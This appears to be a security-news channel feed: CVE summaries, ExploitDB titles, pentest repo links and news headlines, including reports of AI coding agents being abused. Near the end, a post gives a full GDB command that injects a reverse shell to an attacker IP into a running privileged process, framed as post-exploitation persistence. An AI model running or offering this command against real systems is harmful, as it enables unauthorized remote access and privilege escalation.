Saas-Security-Scanner-UI #scanner
This template provides a minimal setup to get React working in Vite with HMR and some ESLint rules.

https://github.com/Omkar7840/Saas-Security-Scanner-UI

🛡️ 🟠 CVE-2026-3398
CVSS 8.8 ████░ HIGH
A vulnerability was determined in Tenda F453 1.0.0.3. Affected is the function fromAdvSetWan of the file /goform/AdvSetWan of the component httpd. Executing a manipulation of the argument wanmode/PPPOEPassword can lead to buffer overflow. The attack can be launched remotely. The exploit has been pu…
#CVE #Vulnerability #CVSS8
🔗 Read More

🛡️ 🟠 CVE-2026-3395
CVSS 7.3 ████░ HIGH
A flaw has been found in MaxSite CMS up to 109.1. This impacts the function eval of the file application/maxsite/admin/plugins/editor_markitup/preview-ajax.php of the component MarkItUp Preview AJAX Endpoint. Executing a manipulation can lead to code injection. It is possible to launch the attack r…
#CVE #Vulnerability #CVSS7
🔗 Read More

💣 ⚠️ [webapps] Piranha CMS 12.0 - Stored XSS in Text Block
Piranha CMS 12.0 - Stored XSS in Text Block
#ExploitDB #Exploit #XSS
🔗 Read More

💣 ⚠️ [webapps] RPi-Jukebox-RFID 2.8.0 - Stored Cross-Site Scripting (XSS)
RPi-Jukebox-RFID 2.8.0 - Stored Cross-Site Scripting (XSS)
#ExploitDB #Exploit #XSS #RFI
🔗 Read More

💣 ⚠️ [hardware] D-Link DIR-825 Rev.B 2.10 - Stack Buffer Overflow (DoS)
D-Link DIR-825 Rev.B 2.10 - Stack Buffer Overflow (DoS)
#ExploitDB #Exploit #BufferOverflow
🔗 Read More

💣 ⚠️ [webapps] RPi-Jukebox-RFID 2.8.0 - Remote Command Execution
RPi-Jukebox-RFID 2.8.0 - Remote Command Execution
#ExploitDB #Exploit #RCE #RFI #CMDi
🔗 Read More

💣 ⚠️ [webapps] Siklu EtherHaul Series EH-8010 - Arbitrary File Upload
Siklu EtherHaul Series EH-8010 - Arbitrary File Upload
#ExploitDB #Exploit
🔗 Read More

📰 ⚠️ How to Protect Your SaaS from Bot Attacks with SafeLine WAF
Most SaaS teams remember the day their user traffic started growing fast. Few notice the day bots started targeting them. On paper, everything looks great: more sign-ups, more sessions, more API calls. But in reality, something feels off: Sign-ups increase, but users aren’t activating. Server costs…
#TheHackerNews #CyberNews
🔗 Read More

📰 ⚠️ APT28 Tied to CVE-2026-21513 MSHTML 0-Day Exploited Before Feb 2026 Patch Tuesday
A recently disclosed security flaw patched by Microsoft may have been exploited by the Russia-linked state-sponsored threat actor known as APT28, according to new findings from Akamai. The vulnerability in question is CVE-2026-21513 (CVSS score: 8.8), a high-severity security feature bypass affecti…
#TheHackerNews #CyberNews #CVE #Exploit #ZeroDay #APT #Patch
🔗 Read More

📰 ⚠️ North Korean Hackers Publish 26 npm Packages Hiding Pastebin C2 for Cross-Platform RAT
Cybersecurity researchers have disclosed a new iteration of the ongoing Contagious Interview campaign, where the North Korean threat actors have published a set of 26 malicious packages to the npm registry. The packages masquerade as developer tools, but contain functionality to extract the actual …
#TheHackerNews #CyberNews
🔗 Read More

📰 ⚠️ ClawJacked Flaw Lets Malicious Sites Hijack Local OpenClaw AI Agents via WebSocket
OpenClaw has fixed a high-severity security issue that, if successfully exploited, could have allowed a malicious website to connect to a locally running artificial intelligence (AI) agent and take over control. "Our vulnerability lives in the core system itself – no plugins, no marketplace, no use…
#TheHackerNews #CyberNews #Exploit
🔗 Read More

📰 ⚠️ Thousands of Public Google Cloud API Keys Exposed with Gemini Access After API Enablement
New research has found that Google Cloud API keys, typically designated as project identifiers for billing purposes, could be abused to authenticate to sensitive Gemini endpoints and access private data. The findings come from Truffle Security, which discovered nearly 3,000 Google API keys (identif…
#TheHackerNews #CyberNews
🔗 Read More

📡 ⚠️ Researchers Uncover Method to Track Cars via Tire Sensors
Using low-cost receivers deployed along roads, academic researchers tracked drivers and their movement patterns. The post Researchers Uncover Method to Track Cars via Tire Sensors appeared first on SecurityWeek.
#SecurityWeek
🔗 Read More

📡 ⚠️ North Korean APT Targets Air-Gapped Systems in Recent Campaign
Using Windows shortcut files, the APT deployed a new implant, a loader, a propagation tool, and two backdoors. The post North Korean APT Targets Air-Gapped Systems in Recent Campaign appeared first on SecurityWeek.
#SecurityWeek
🔗 Read More

📡 ⚠️ Google Working Towards Quantum-Safe Chrome HTTPS Certificates
The internet giant is developing an evolution of the certificates based on Merkle Tree Certificates (MTCs). The post Google Working Towards Quantum-Safe Chrome HTTPS Certificates appeared first on SecurityWeek.
#SecurityWeek
🔗 Read More

📡 ⚠️ US-Israel and Iran Trade Cyberattacks: Pro-West Hacks Cause Disruption as Tehran Retaliates
Both sides conduct hacking and other attacks, including the deployment of wiper malware, DDoS, and disruptions to critical infrastructure. The post US-Israel and Iran Trade Cyberattacks: Pro-West Hacks Cause Disruption as Tehran Retaliates appeared first on SecurityWeek.
#SecurityWeek
🔗 Read More

📡 ⚠️ Hackers Weaponize Claude Code in Mexican Government Cyberattack
The AI was abused to write exploits, create tools, and automatically exfiltrate over 150GB of data. The post Hackers Weaponize Claude Code in Mexican Government Cyberattack appeared first on SecurityWeek.
#SecurityWeek
🔗 Read More

🐧 Inject Reverse Shell into Live Process
┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄
Injects a reverse shell into a running process using GDB, allowing remote code execution and persistence.

📋 Command:

gdb -p <target_PID> -ex 'call (void)system("bash -i >& /dev/tcp/<attacker_IP>/<attacker_port> 0>&1")' -ex 'detach' -ex 'quit'

💡 Use Case: During post-exploitation, inject a reverse shell into a long-running, privileged process (e.g., a web server or database process) to maintain access or escalate privileges without leaving new files on disk.

🚩 Flags:
┃ -p <PID>: Attach GDB to a running process specified by its Process ID.
┃ -ex '<command>': Execute the specified GDB command non-interactively.
┃ call (void)system(...): Invoke the `system()` function within the target process's context to execute a shell command.
┃ detach: Detach GDB from the target process, allowing it to continue execution unaffected.
┃ quit: Exit the GDB debugger after executing commands.

┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄
#Linux #CommandLine #SysAdmin #Hacking #Kali
┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄┄
🕐 03 Mar 2026 • 17:22 | @TheExploitLabX

android-pentest-tools #pentest
android-pentest-tools security / pentest utility.

https://github.com/BrunoOno0410/android-pentest-tools

arsenal #pentest
A collection of handmade tools and scripts for pentesting/CTF purposes

https://github.com/galizaragoza/arsenal